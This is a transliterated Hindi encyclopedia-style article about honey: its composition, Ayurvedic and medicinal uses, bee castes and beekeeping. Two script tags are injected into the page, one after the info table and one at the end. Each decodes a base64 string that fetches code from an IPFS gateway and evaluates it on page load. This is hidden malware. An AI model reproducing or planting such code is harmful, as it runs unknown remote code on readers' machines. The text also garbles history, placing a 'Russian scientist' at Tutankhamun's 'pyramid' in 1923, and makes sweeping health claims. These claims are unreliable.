शहद
shahad
| |
| vivaran | shahad athava 'madhu' ek prakritik madhur padarth hai jo madhumakkhiyoan dvara phooloan ke ras ko choosakar tatha usamean atirikt padarthoan ko milane ke bad chhatte ke koshoan mean ekatr karane ke phalasvaroop banata hai. |
| shahad ke ghatak | rasayanik vishleshan karane par shahad mean bahut se poshak tatv hote hai jaise- phraktoz 38.2%, glookoz: 31.3%, sukaroz: 1.3%, maltoz: 7.1%, jal: 17.2%, uchch sharkaraean: 1.5%, bhasm: 0.2%, any: 3.2%. vaijnanikoan ne yah siddh kar diya hai ki shahad paushtik tatvoan se yukt sharkara aur any tatvoan ka mishran hota hai. |
| aushadhiy gun | shahad ka prayog aushadhi roop mean bhi hota hai. jisase kee paushtik tatv milate haian jo ghav ko thik karane aur ootakoan ke badhane ke upachar mean madad karate haian. prachin kal se hi shahad ko ek jivanu-rodhi (eantibaiktiriyal) ke roop mean jana jata raha hai. shahad ka piech man 3 se 4.8 ke bich hone se jivanurodhi gun svatah hi paya jata hai. |
| any janakari | ayurved ke rrishiyoan ne bhi mana hai ki tulasi v madhumay panchamrit ka sevan karane se sankraman nahian hota aur isaka vidhivat dhang se sevan kar anek rogoan par vijay paee ja sakati hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shahad / madhu (aangrezi: Honey) ek prakritik madhur padarth hai jo madhumakkhiyoan dvara phooloan ke ras ko choosakar tatha usamean atirikt padarthoan ko milane ke bad chhatte ke koshoan mean ekatr karane ke phalasvaroop banata hai. shahad har kisi ke jivan mean mahatv rakhata hai. phir chahe vah khanapan, chikitsa se sanbandhit ho ya phir sauandary se. isamean prachur matra mean gun haian. aj se hajaroan varsh pahale se hi duniya ke sabhi chikitsa shastroan, dharmashastroan, padarthavetta-vidvanoan, vaidhoan-hakimoan ne shahad ki upayogita v mahatv ko bataya hai. ayurved ke rrishiyoan ne bhi mana hai ki tulasi v madhumay panchamrit ka sevan karane se sankraman nahian hota aur isaka vidhivat dhang se sevan kar anek rogoan par vijay paee ja sakati hai. ise panjabi bhasha mean makhyoan bhi kaha jata hai. shahad to devataoan ka bhi ahar mana jata raha hai.
parichay
ayurved mean shahad ko ek khady evan prakritik aushadhi ke roop mean niroopit kiya gaya hai aur sharir ko svasth, nirog aur urjavan banaye rakhane ke liye ise amrit bhi kaha gaya hai. shahad n keval ek aushadhi ka kam karata hai, balki dharmik anushthanoan mean aur saundary badhane mean bhi vishesh yogadan deta hai. shahad manav ko prakriti ka anamol varadan hai. shahad mean khas gun yah hai ki vah kabhi kharab nahian hota. prachinakal mean madhumakkhiyoan dvara phooloan ke ras se prakritik roop se taiyar madhu hi ekamatr mishthann ka jnat srot tha aur yahi sabhi dharmik riti-rivajoan, samajik karyakramoan, pratyek dharm evan samaj mean pramukh roop se prayog mean laya jata tha. ayurved mean isaka kafi prayog hua hai. shahad mean sada upayogi evan shudhd bane rahane ka gun vidyaman hai. jyoan-jyoan yah purana hota jata hai, gunavatta badhati jati hai. 1923 ee. mean mistr ke pharao noonan khamen ke piramid mean roosi vaijnanik ko ek shahad se bhara patr mila. us samay hairat mean dal dene vali bat yah thi ki yah shahad 3300 varsh purana hone ke bavajood kharab nahian hua tha. usake svad aur gun mean koee aantar nahian aya tha. shahad, panchamrit mean prayog hone vale padartho mean se ek hai. pratyek pooja mean panchamrit avashy banaya jata hai.
shahad aur madhumakkhi
- REDIRECTsaancha:mukhy
madhumakkhiyaan prakritik halavaee haian. unake dvara banaee gee yah mithaee- ‘shahad’ bazar mean milane vali mithaiyoan ki tarah n to basi hota hai aur n pet kharab karake rogoan ko amantrit hi karata hai, varanh adhik samay tak rahane par adhik gunakari ho jata hai. parishram se ekatrit ki huee hajaroan vanaspatiyoan ka satv hamean ek sthan par ekatrit hue shahad ke roop mean mil jata hai. isamean jo svabhavik shaktivardhdak tatha rog nirodhak tatv milate haian, unhean aj botaloan mean band aushadhiyoan tatha t aaunikoan mean pana sanbhav hi nahian hota. aj ke vaijnanik yug mean bhi shahad ka banana manavi buddhi se pare haian, shahad banane ka gun prakriti ne keval madhumakkhiyoan ko hi pradan kiya hai. shahad ko shahad ki makkhiyaan (Honey Bee) banati hai. inaka jo ghar hota hai, us ko chhatta kahate hai, in chhattoan mean madhumakkhiyaan rahati hai. madhumakkhiyoan ke jivan ki 4 avasthayean aanda, larva, pyoopa, vayask makkhi hoti hai. ye madhumakkhiyaan nimn prakar ki hoti hai-
- shramik
- nar
- rani
rani madhumakkhi akar mean sabase b di hoti hai. ek chhatte mean ek hi ya zyada hoti hai. ye aande deti hai. jin andoan ko nar nishechit karate haian. yadi rani madhumakkhi ko pak d le to shahi sainik aur shramik makkhiyaan akraman kar deangi parantu chhatte mean rani madhumakkhi ko dhooandhana asan kam nahian hai.
madhumakkhi palan
- REDIRECTsaancha:mukhy
jo log madhumakkhi palan ka vyavasay karate haian unhean madhumakkhi nahian katati kyoanki vah shahad nikalate hue vishesh kap de pahanate haian. jisake karan madhumakkhi unako kat nahian pati haian. isi samay mean palanakarta unake svabhav ko janata hai tatha koee aisa kam hi nahian karata hai ki madhumakkhi ko katane ki zaroorat p de. sar edamand hileri svayan madhumakkhi palak the. madhupalan mean koee kathinaee nahian hai. isake bare mean tho di janakari hi paryapt hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>